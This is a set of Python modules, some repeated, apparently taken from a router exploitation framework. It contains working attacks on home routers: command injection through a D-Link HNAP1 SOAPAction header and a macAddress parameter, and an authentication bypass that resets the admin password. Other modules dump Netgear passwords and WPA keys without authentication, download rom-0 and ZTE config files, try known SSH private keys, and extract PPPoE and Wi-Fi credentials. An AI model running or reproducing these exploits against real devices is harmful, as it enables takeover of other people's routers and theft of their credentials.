def do_run(self, e): try: print_info("Connecting to:", self.host) auth = (self.username, self.password) response = requests.get("http://"+self.host+"/basic/home_wan.htm", auth=auth, timeout=60) # headers, body = http.request("http://"+self.target+"/basic/home_wan.htm") if response.status_code == 200: print_success("Authentication successful") ppp_credentials = self.fetch_ppp(response.text) print_success("PPPoE/PPPoA Username:"******"PPPoE/PPPoA Password", ppp_credentials[1]) response = requests.get("http://"+self.host+"/basic/home_wlan.htm", auth=auth, timeout=60) if response.status_code == 200: wlan_credentials = self.fetch_wlan(response.text) print_success("ESSID:", wlan_credentials[0]) print_success("PSK:", wlan_credentials[1]) for mac in wlan_credentials[2]: print_success("MAC filter:", mac) else: print_error("Status code:", response.status_code) elif response.status_code == 401: print_error("401 Authentication failed") elif response.status_code == 404: print_error("404 Page does not exists") else: print_error("Status code:", response.status_code) except requests.exceptions.Timeout: print_error("Timeout!") except requests.exceptions.ConnectionError: print_error("No route to host")
def do_run(self, e): print_info("Testing known keys") client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) connection = core.loader.open_database("./databases/bad_keys.db") cursor = connection.cursor() cursor.execute("SELECT user, port, filename, type, private_key FROM keys;") entries = cursor.fetchall() for entry in entries: try: username = entry[0] port = entry[1] filename = entry[2] key_type = entry[3] string_key = entry[4] if key_type == 'RSA': private_key = paramiko.RSAKey.from_private_key(io.StringIO(string_key)) elif key_type == 'DSA': private_key = paramiko.DSSKey.from_private_key(io.StringIO(string_key)) else: print_error("Failed to load key of type:", key_type) continue client.connect(self.host, port=port, username=username, pkey=private_key, look_for_keys=False, timeout=10) core.io.writetextfile(string_key, filename+".key") print_success("Username:"******"port:", port) print_info("Private key writen to:", filename+".key") client.close() except paramiko.AuthenticationException: pass except: pass
def query_yes_no(question, default="yes"): """Ask a yes/no question via raw_input() and return their answer. "question" is a string that is presented to the user. "default" is the presumed answer if the user just hits <Enter>. It must be "yes" (the default), "no" or None (meaning an answer is required of the user). The "answer" return value is True for "yes" or False for "no". """ valid = {"yes": True, "y": True, "ye": True, "no": False, "n": False} if default is None: prompt = " [y/n] " elif default == "yes": prompt = " [Y/n] " elif default == "no": prompt = " [y/N] " else: raise ValueError("invalid default answer: '%s'" % default) while True: print_info(question + prompt) choice = input().lower() if default is not None and choice == '': return valid[default] elif choice in valid: return valid[choice] else: print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n")
def do_run(self, e): url = "http://%s:%s/HNAP1" % (self.host, self.port) headers = { "SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command } try: print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) print_warning( "HTTPd is still responding this is OK if you changed the payload" ) except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no( "Do you wish to dump all system settings? (if telned was started)" ) if answer is True: tn = telnetlib.Telnet(self.host, self.port) print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") print_warning( "Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout")
def get_host_info(self, host_info, index): if host_info is not None: # If this host data is already complete, just display it if host_info['dataComplete']: print_warning('Data for this host has already been enumerated!') return try: # Get extended device and service information if host_info: print_info("Requesting device and service info for " + host_info['name'] + " (this could take a few seconds)...") if not host_info['dataComplete']: (xml_headers, xml_data) = self.get_xml(host_info['xml_file']) # print(xmlHeaders) # print(xmlData) if not xml_data: print_error('Failed to request host XML file:' + host_info['xml_file']) return if not self.get_host_information(xml_data, xml_headers, index): print_error("Failed to get device/service info for " + host_info['name']) return print_success('Host data enumeration complete!') # hp.updateCmdCompleter(hp.ENUM_HOSTS) return except KeyboardInterrupt: return
def do_set(self, e): args = e.split(' ') if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address")
def decompress_cfg(self, data): """Decompress a config file""" modelstr = "V" + format(unpack(">H", self.get_modelid(data))[0], "04X") print_info('Model is :\t' + modelstr) rawcfgsize = 0x00100000 lzocfgsize = unpack(">L", data[0x24:0x28])[0] raw = data[:0x2D] + b'\x00' + data[0x2E:0x100] + \ core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", rawcfgsize) + data[0x100:0x100 + lzocfgsize]) return raw
def decompress_fs(self, data, path): """Decompress filesystem""" lzofsdatalen = unpack('>L', data[4:8])[0] print_info('Compressed FS length: %d [0x%08X]' % (lzofsdatalen, lzofsdatalen)) # stupid assumption of raw FS length. Seems OK for now fsdatalen = 0x800000 fs_raw = core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", fsdatalen) + data[0x08:0x08 + lzofsdatalen]) cfs = fs(fs_raw) return lzofsdatalen, cfs.save_all(path)
def update_oui(): if interface.utils.file_exists("./databases/oui.db") and core.globals.ouidb_conn is not None: connection = core.globals.ouidb_conn cursor = connection.cursor() # Truncate database print_info("Truncating oui table") cursor.execute("""DROP TABLE oui""") cursor.execute("""CREATE TABLE oui ( id INTEGER PRIMARY KEY NOT NULL, oui TEXT UNIQUE, name TEXT)""") # This is very important, sqlite3 creates transaction for every INSERT/UPDATE/DELETE # but can handle only dozen of transactions at a time. # BEGIN guarantees that only one transaction will be used. # Now the DB rebuild should take only seconds cursor.execute('begin') print_info("Downloading new OUI file") path = interface.utils.wget("http://standards.ieee.org/regauth/oui/oui.txt", "./output/tmp_oui.txt") if not path: print_error('Failed to download') return file = open(path, "r") regex = re.compile(r"\(base 16\)") for line in file: if regex.search(line) is not None: line = "".join(line.split("\t")) line = line.split("(") oui = line[0].replace(" ", "") company = line[1].split(")")[1] company = company.replace("\n", "") if company == " ": company = "Private" try: cursor.execute("INSERT INTO oui (oui, name) VALUES (?, ?)", [oui, company]) status = '\rInserting {0}:{1}' sys.stdout.write(status.format(company, oui)) except Exception as e: # CONRAD CORP. and CERN + ROYAL MELBOURNE INST OF TECH share oui, this should be considered # print(e) # print(oui + " " + company) # SELECT name FROM oui.oui WHERE oui = oui # UPDATE oui.oui SET name = name+" OR "+company WHERE oui=oui pass print() # Add a few OUIs manually (from NMAP oui file) cursor.execute("INSERT INTO oui (oui, name) VALUES ('525400', 'QEMU Virtual NIC')") cursor.execute("INSERT INTO oui (oui, name) VALUES ('B0C420', 'Bochs Virtual NIC')") cursor.execute("INSERT INTO oui (oui, name) VALUES ('DEADCA', 'PearPC Virtual NIC')") cursor.execute("INSERT INTO oui (oui, name) VALUES ('00FFD1', 'Cooperative Linux virtual NIC')") connection.commit() try: os.remove("./output/tmp_oui.txt") except OSError: pass
def decompress_fs(self, data, path): """Decompress filesystem""" lzofsdatalen = unpack('>L', data[4:8])[0] print_info('Compressed FS length: %d [0x%08X]' % (lzofsdatalen, lzofsdatalen)) # stupid assumption of raw FS length. Seems OK for now fsdatalen = 0x800000 fs_raw = core.compression.lzo.pydelzo.decompress( b'\xF0' + pack(">L", fsdatalen) + data[0x08:0x08 + lzofsdatalen]) cfs = fs(fs_raw) return lzofsdatalen, cfs.save_all(path)
def decrypt_cfg(self, data): """Decrypt config, bruteforce if default key fails""" modelstr = "V" + format(unpack(">H", self.get_modelid(data))[0], "04X") print_info('Model is :\t' + modelstr) ckey = self.make_key(modelstr) rdata = self.decrypt(data[0x100:], ckey) # if the decrypted data does not look good, bruteforce if self.smart_guess(rdata) != self.CFG_LZO: rdata = self.brute_cfg(data[0x100:]) print_success('Used key :\t[0x%02X]' % ckey) return data[:0x2D] + b'\x01' + data[0x2E:0x100] + rdata
def do_msearch(self, e): default_st = "upnp:rootdevice" st = "schemas-upnp-org" myip = '' lport = self.port # if argc >= 3: # if argc == 4: # st = argv[1] # searchType = argv[2] # searchName = argv[3] # else: # searchType = argv[1] # searchName = argv[2] # st = "urn:%s:%s:%s:%s" % (st,searchType,searchName,hp.UPNP_VERSION.split('.')[0]) # else: st = default_st # Build the request request = "M-SEARCH * HTTP/1.1\r\n" \ "HOST:%s:%d\r\n" \ "ST:%s\r\n" % (self.host, self.port, st) for header, value in self.msearchHeaders.items(): request += header + ':' + value + "\r\n" request += "\r\n" print_info("Entering discovery mode for '%s', Ctl+C to stop..." % st) # Have to create a new socket since replies will be sent directly to our IP, not the multicast IP server = self.create_new_listener(myip, lport) if not server: print_error('Failed to bind port %d' % lport) return self.send(request, server) count = 0 start = time.time() while True: try: if 0 < self.max_hosts <= count: break if 0 < self.timeout < (time.time() - start): raise Exception("Timeout exceeded") if self.parse_ssdp_info(self.recieve(1024, server), False, False): count += 1 except AttributeError: # On Ctrl-C parseSSDPInfo raises AttributeError exception print('\n') print_info('Discover mode halted...') break
def do_run(self, e): f = open(self.input_file, 'rb') # These should be offsets of spt.dat but it somehow works with these values usually, # the core.compression.lzs is not a very good implementation, it won't decompress the whole file correctly # but it's enough to to extract admin password fpos = 8568 fend = 8788 f.seek(fpos) amount = 221 while fpos < fend: if fend - fpos < amount: amount = amount data = f.read(amount) fpos += len(data) result, window = core.compression.lzs.LZSDecompress(data) print_info("Printing strings found in decompressed data (admin password is usually the first found):") for s in interface.utils.strings(result): print_success(s)
def decompress_firmware(data): """Decompress firmware""" flen = len(data) sigstart = data.find(b'\xA5\xA5\xA5\x5A\xA5\x5A') # Try an alternative signature if sigstart <= 0: sigstart = data.find(b'\x5A\x5A\xA5\x5A\xA5\x5A') # Compressed FW block found, now decompress if sigstart > 0: print_info('Signature found at [0x%08X]' % sigstart) lzosizestart = sigstart + 6 lzostart = lzosizestart + 4 lzosize = unpack('>L', bytes(data[lzosizestart:lzostart]))[0] return data[0x100:sigstart + 2] + core.compression.lzo.pydelzo.decompress( b'\xF0' + pack(">L", 0x1000000) + data[lzostart:lzostart + lzosize]) else: print_error('Compressed FW signature not found!') return None
def do_run(self, e): url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port) try: print_warning("Sending exploit") # It took me longer than necessary to find out how to use Content-Disposition properly # Always set stream=True otherwise you may not get the whole file response = requests.post(url, files={'config': ''}, timeout=60, stream=True) if response.status_code == 200: if response.headers.get('Content-Disposition'): print_success("got file in response") print_info("Writing file to config.bin") core.io.writefile(response.content, "config.bin") print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML") except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: print_error("timeout")
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target + "/rom-0", timeout=60) content_type = 'application/octet-stream' if response.status_code == requests.codes.ok and response.headers.get('Content-Type') == content_type: print_success("got rom-0 file, size:" + str(len(response.content))) core.io.writefile(response.content, "rom-0") else: print_error("failed") print_info("Checking if rpFWUpload.html is available") response = requests.get(target + "/rpFWUpload.html", timeout=60) if response.status_code == requests.codes.ok: print_success("rpFWUpload.html is accessible") else: print_failed("rpFWUpload.html is not accessible") except requests.RequestException: print_error("timeout!")
def save_file(self, i): """Extract file #i from current FS""" fname = self.get_fname(i) # compressed file data offset in FS block ds = self.get_offset(i) # size of compressed file fs = self.get_fsize(i) # compressed file data fdata = self.cdata[ds:ds + fs] # create all subdirs along the path if they don't exist pp = fname.split('\\') pp = [self.path] + pp ppp = os.sep.join(pp[:-1]) if len(pp) > 1: if not os.path.exists(ppp): os.makedirs(ppp) nfname = os.sep.join(pp) # size of uncompressed file rawfs = -1 ff = open(nfname, 'wb') # perform extraction, some file types are not compressed if fs > 0: if pp[-1].split('.')[-1].lower() in [ 'gif', 'jpg', 'cgi', 'cab', 'txt', 'jar' ]: rawfdata = fdata else: try: rawfdata = core.compression.lzo.pydelzo.decompress( b'\xF0' + pack(">L", fs * 64) + fdata) except core.compression.lzo.LZO_ERROR as lze: print_warning('File "' + fname + '" is damaged or uncompressed [' + str(lze) + '], RAW DATA WRITTEN') rawfdata = fdata else: rawfdata = '' rawfs = len(rawfdata) ff.write(rawfdata) ff.close() # print some debug info for each file print_info('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) return fs, rawfs
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target + "/rom-0", timeout=60) content_type = 'application/octet-stream' if response.status_code == requests.codes.ok and response.headers.get( 'Content-Type') == content_type: print_success("got rom-0 file, size:" + str(len(response.content))) core.io.writefile(response.content, "rom-0") else: print_error("failed") print_info("Checking if rpFWUpload.html is available") response = requests.get(target + "/rpFWUpload.html", timeout=60) if response.status_code == requests.codes.ok: print_success("rpFWUpload.html is accessible") else: print_failed("rpFWUpload.html is not accessible") except requests.RequestException: print_error("timeout!")
def do_pcap(self, e): print_info('Entering passive mode, Ctrl+C') count = 0 start = time.time() while True: try: if 0 < self.max_hosts <= count: break if 0 < self.timeout < (time.time() - start): raise Exception("Timeout exceeded") if self.parse_ssdp_info(self.recieve(1024, False), False, False): count += 1 except Exception as e: print("\n") print_info("Passive mode halted...") break
def save_file(self, i): """Extract file #i from current FS""" fname = self.get_fname(i) # compressed file data offset in FS block ds = self.get_offset(i) # size of compressed file fs = self.get_fsize(i) # compressed file data fdata = self.cdata[ds: ds + fs] # create all subdirs along the path if they don't exist pp = fname.split('\\') pp = [self.path] + pp ppp = os.sep.join(pp[:-1]) if len(pp) > 1: if not os.path.exists(ppp): os.makedirs(ppp) nfname = os.sep.join(pp) # size of uncompressed file rawfs = -1 ff = open(nfname, 'wb') # perform extraction, some file types are not compressed if fs > 0: if pp[-1].split('.')[-1].lower() in ['gif', 'jpg', 'cgi', 'cab', 'txt', 'jar']: rawfdata = fdata else: try: rawfdata = core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", fs * 64) + fdata) except core.compression.lzo.LZO_ERROR as lze: print_warning('File "' + fname + '" is damaged or uncompressed [' + str(lze) + '], RAW DATA WRITTEN') rawfdata = fdata else: rawfdata = '' rawfs = len(rawfdata) ff.write(rawfdata) ff.close() # print some debug info for each file print_info('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) return fs, rawfs
def do_run(self, e): file = "" for file in self.files: print_info("Testing file: " + file) url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, "sleep 10") try: print_info("Doing timebased check with sleep 10") time_start = datetime.datetime.now() response = requests.get(url=url, timeout=60) time_end = datetime.datetime.now() delta = time_end - time_start if response.status_code == 200 and "Update Success!" in response.text: if 13 > delta.seconds > 9: print_success("Timebased check OK target should be vulnerable") else: print_warning("Timebased check failed, but target still might be vulnerable") break except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed") print_success("Vulnerable file:" + file) print_info("Sending command") url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, self.command) try: response = requests.get(url=url, timeout=60) if response.status_code == 200 and "Update Success!" in response.text: print_success("command sent") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("target stopped responding or you issued reboot or killed lighttpd")
def do_set(self, e): args = e.split(' ') try: if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("Please provide valid IPv4 address") elif args[0] == "port": if str.isdigit(args[1]): self.port = args[1] else: print_error("Port value must be integer") elif args[0] == 'device': if not str.isdigit(args[1]): print_error("Invalid device ID") elif int(args[1]) < 0 or int(args[1]) > len(self.devices): print_error("Invalid device ID") else: index = int(args[1]) print_info("Device: %s" % self.devices[index]['name']) self.number = self.devices[index]['number'] print_info("Setting address to: %d" % self.number) self.offset = self.devices[index]['offset'] print_info("Setting offset: %d" % self.offset) except IndexError: print_error("please specify value for variable")
def do_run(self, e): print_info("Testing known keys") client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) connection = core.loader.open_database("./databases/bad_keys.db") cursor = connection.cursor() cursor.execute( "SELECT user, port, filename, type, private_key FROM keys;") entries = cursor.fetchall() for entry in entries: try: username = entry[0] port = entry[1] filename = entry[2] key_type = entry[3] string_key = entry[4] if key_type == 'RSA': private_key = paramiko.RSAKey.from_private_key( io.StringIO(string_key)) elif key_type == 'DSA': private_key = paramiko.DSSKey.from_private_key( io.StringIO(string_key)) else: print_error("Failed to load key of type:", key_type) continue client.connect(self.host, port=port, username=username, pkey=private_key, look_for_keys=False, timeout=10) core.io.writetextfile(string_key, filename + ".key") print_success("Username:"******"port:", port) print_info("Private key writen to:", filename + ".key") client.close() except paramiko.AuthenticationException: pass except: pass
def do_run(self, e): url = "http://%s:%s/HNAP1" % (self.host, self.port) headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command} try: print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) print_warning("HTTPd is still responding this is OK if you changed the payload") except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)") if answer is True: tn = telnetlib.Telnet(self.host, self.port) print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") print_warning("Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout")
def do_run(self, e): url = "http://%s:%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" % (self.host, self.port) try: print_warning("Sending exploit") response = requests.get(url, timeout=60) if response.status_code == 200 and 'name="admin_password1"' in response.text: print_success("target seems vulnerable") print_success("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL") print_info("Changing admin password") headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } payload = {'NO_NEED_AUTH': 1, 'AUTH_GROUP': 0, 'ACTION_POST': 1, 'apply': 'Save+Settings', 'admin_name': 'admin', 'admin_password1': '%s' % self.password, 'admin_password2': '%s' % self.password, 'grap_auth_enable_h': 0, 'rt_ipaddr': '0.0.0.0'} url = "http://%s:%s/tools_admin.php" % (self.host, self.port) response = requests.post(url=url, headers=headers, data=payload, timeout=60) if response.status_code == 200: print_success("password seems to be changed try to login with: %s" % self.password) else: print_error("password change failed") else: print_error("exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % ( self.host, self.port) try: print_warning("Sending exploit") # It took me longer than necessary to find out how to use Content-Disposition properly # Always set stream=True otherwise you may not get the whole file response = requests.post(url, files={'config': ''}, timeout=60, stream=True) if response.status_code == 200: if response.headers.get('Content-Disposition'): print_success("got file in response") print_info("Writing file to config.bin") core.io.writefile(response.content, "config.bin") print_success( "you can now use decryptors/zte/config_zlib_decompress to extract XML" ) except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: print_error("timeout")
def do_run(self, e): try: print_info("Connecting to:", self.host) auth = (self.username, self.password) response = requests.get("http://" + self.host + "/basic/home_wan.htm", auth=auth, timeout=60) # headers, body = http.request("http://"+self.target+"/basic/home_wan.htm") if response.status_code == 200: print_success("Authentication successful") ppp_credentials = self.fetch_ppp(response.text) print_success("PPPoE/PPPoA Username:"******"PPPoE/PPPoA Password", ppp_credentials[1]) response = requests.get("http://" + self.host + "/basic/home_wlan.htm", auth=auth, timeout=60) if response.status_code == 200: wlan_credentials = self.fetch_wlan(response.text) print_success("ESSID:", wlan_credentials[0]) print_success("PSK:", wlan_credentials[1]) for mac in wlan_credentials[2]: print_success("MAC filter:", mac) else: print_error("Status code:", response.status_code) elif response.status_code == 401: print_error("401 Authentication failed") elif response.status_code == 404: print_error("404 Page does not exists") else: print_error("Status code:", response.status_code) except requests.exceptions.Timeout: print_error("Timeout!") except requests.exceptions.ConnectionError: print_error("No route to host")
def initialize_sockets(self): try: # This is needed to join a multicast group self.mreq = struct.pack("4sl", socket.inet_aton(self.host), socket.INADDR_ANY) # Set up client socket self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.csock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) # Set up server socket self.ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # BSD systems also need to set SO_REUSEPORT try: self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) except Exception: pass # Only bind to this interface if self.interface is not None: print_info("Binding to interface: " + self.interface) self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) try: self.ssock.bind(('', self.port)) except Exception: print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ") try: self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq) except Exception: print_warning("failed to join multicast group") except Exception: print_error("failed to initialize UPNP sockets") return False return True
def do_update(self, e): args = e.split(' ') if args[0] == "oui": print_info("Updating OUI DB. Database rebuild may take several minutes.") # print_blue("Do you wish to continue? (y/n)") # Add if here updater.update_oui() print_success("OUI database updated successfully.") elif args[0] == "force": print_info("Discarding local changes and updating REXT") updater.update_rext_force() elif args[0] == "": print_info("Updating REXT please wait...") updater.update_rext() print_success("Update successful")
def do_run(self, e): payload = self.keygen() print_success("payload generated") print("Payload:%s" % (hexlify(payload).decode())) core.io.writefile(payload, "payload.hex") print_info("Payload saved to payload.hex")
def do_file(self, e): print_info(self.input_file)
def decompress_fs_only(self, data, path): """Decompress filesystem""" fsstart = unpack('>L', data[:4])[0] print_info('FS block start at: %d [0x%08X]' % (fsstart, fsstart)) return self.decompress_fs(data[fsstart:], path)
def do_serial(self, e): print_info(self.serial)
def do_set(self, e): args = e.split(' ') if args[0] == "serial": self.serial = args[1] print_info("Serial number set to: " + self.serial)
def do_mac(self, e): print_info(self.mac)
def do_port(self, e): print_info(self.port)
def do_file(self, e): print_info(self.file)
def do_run(self, e): url = "http://%s:%s/" % (self.host, self.port) # Headers with SOAP requests headers = {"SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"} headers1 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"} headers2 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo"} headers3 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys"} headers4 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetAttachDevice"} payload = {"": ""} # Empty form will cause that the auth is bypassed # This is a very stupid way to parse XML but xml.etree is not playing nice with SOAP and # I don't feel like adding lxml into dependencies just for this module striptag = re.compile(r'<.*?>') try: print_warning("Sending exploit") # Request DeviceInfo response = requests.post(url, headers=headers, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to DeviceInfo.xml") core.io.writetextfile(response.text, "DeviceInfo.xml") print_info("Parsing response") regex = re.search("<Description>(.*)", response.text) regex2 = re.search("<SerialNumber>(.*)", response.text) regex3 = re.search("<Firmwareversion>(.*)", response.text) try: description = striptag.sub('', regex.group(1)) serial_number = striptag.sub('', regex2.group(1)) firmware = striptag.sub('', regex3.group(1)) print("Device: %s" % description) print("Serial number: %s" % serial_number) print("FW version: %s" % firmware) except IndexError: print_error("opps unable to locate this regular expression") # Request web UI password response = requests.post(url, headers=headers1, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to LANConfigSecurity.xml") core.io.writetextfile(response.text, "LANConfigSecurity.xml") print_info("Parsing response") regex = re.search("<NewPassword>(.*)", response.text) try: password = striptag.sub('', regex.group(1)) print("Password: %s" % password) except IndexError: print_error("opps unable to locate this regular expression") # Request WLAN info response = requests.post(url, headers=headers2, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to WLANConfiguration.xml") core.io.writetextfile(response.text, "WLANConfiguration.xml") print_info("Parsing response") regex = re.search("<NewSSID>(.*)", response.text) regex2 = re.search("<NewBasicEncryptionModes>(.*)", response.text) try: ssid = regex.group(1) ssid = striptag.sub('', ssid) wlan_encryption = striptag.sub('', regex2.group(1)) print("SSID: " + ssid) print("Encryption: %s" % wlan_encryption) except IndexError: print_error("opps unable to locate this regular expression") # Wlan password response = requests.post(url, headers=headers3, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to WLANConfigurationGetWPASecurityKeys.xml") core.io.writetextfile(response.text, "WLANConfigurationGetWPASecurityKeys.xml") print_info("Parsing response") regex = re.search("<NewWPAPassphrase>(.*)", response.text) try: wlan_password = striptag.sub('', regex.group(1)) print("Passphrase: %s" % wlan_password) except IndexError: print_error("opps unable to locate this regular expression") # Attached devices response = requests.post(url, headers=headers4, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError print_info("Writing response to DeviceInfoGetAttachDevice.xml") core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml") print_info("Parsing response") regex = re.search("<NewAttachDevice>(.*)", response.text) try: devices = striptag.sub('', regex.group(1)) devices = devices.split('@')[1:] # First element is number of records for device in devices: device = device.split(";") print("ID: %s" % device[0]) print("IP: %s" % device[1]) print("Name: %s" % device[2]) print("MAC: %s" % interface.utils.lookup_mac(device[3])) print("Connection type: %s" % device[4]) except IndexError: print_error("opps unable to locate this regular expression") except requests.ConnectionError as e: print_error("lost connection ") traceback.print_tb(e) except requests.Timeout: print_error("timeout")
def do_host(self, e): print_info(self.host)
def do_body(self, e): if self.body is True: print_info("yes") else: print_info("no")
def do_ssl(self, e): if self.ssl is True: print_info("yes") else: print_info("no")
def do_command(self, e): print_info(self.command)
def do_run(self, e): print_warning("Sending payload sysinfo") result = self.send_payload("sysinfo.cgi") if result: print_success("Got system information, writing to file") core.io.writetextfile(result, "sysinfo") print_info("Analyzing sysinfo...") regex = re.search("device::default_passphrase=(.*)", result) if regex: try: print_green("Default admin passphrasse: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrasse") regex = re.search("device::mac_addr=(.*)", result) if regex: try: print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1))) except IndexError: print_error("Unable to locate MAC") regex = re.search("device::default_ssid=(.*)", result) if regex: try: print_green("Default SSID:: " + regex.group(1)) except IndexError: print_error("Unable to locate default SSID") regex = re.search("device::wps_pin=(.*)", result) if regex: try: print_green("WPS Pin: " + regex.group(1)) except IndexError: print_error("Unable to locate WPS pin") regex = re.search("wl0_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl0_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") regex = re.search("wl1_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl1_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") print_yellow("Sending payload getstinfo") result = self.send_payload("getstinfo.cgi") if result: print_success("Got SSID hash and passphrase hash, writing to file") core.io.writetextfile(result, "getstinfo") print_success(result)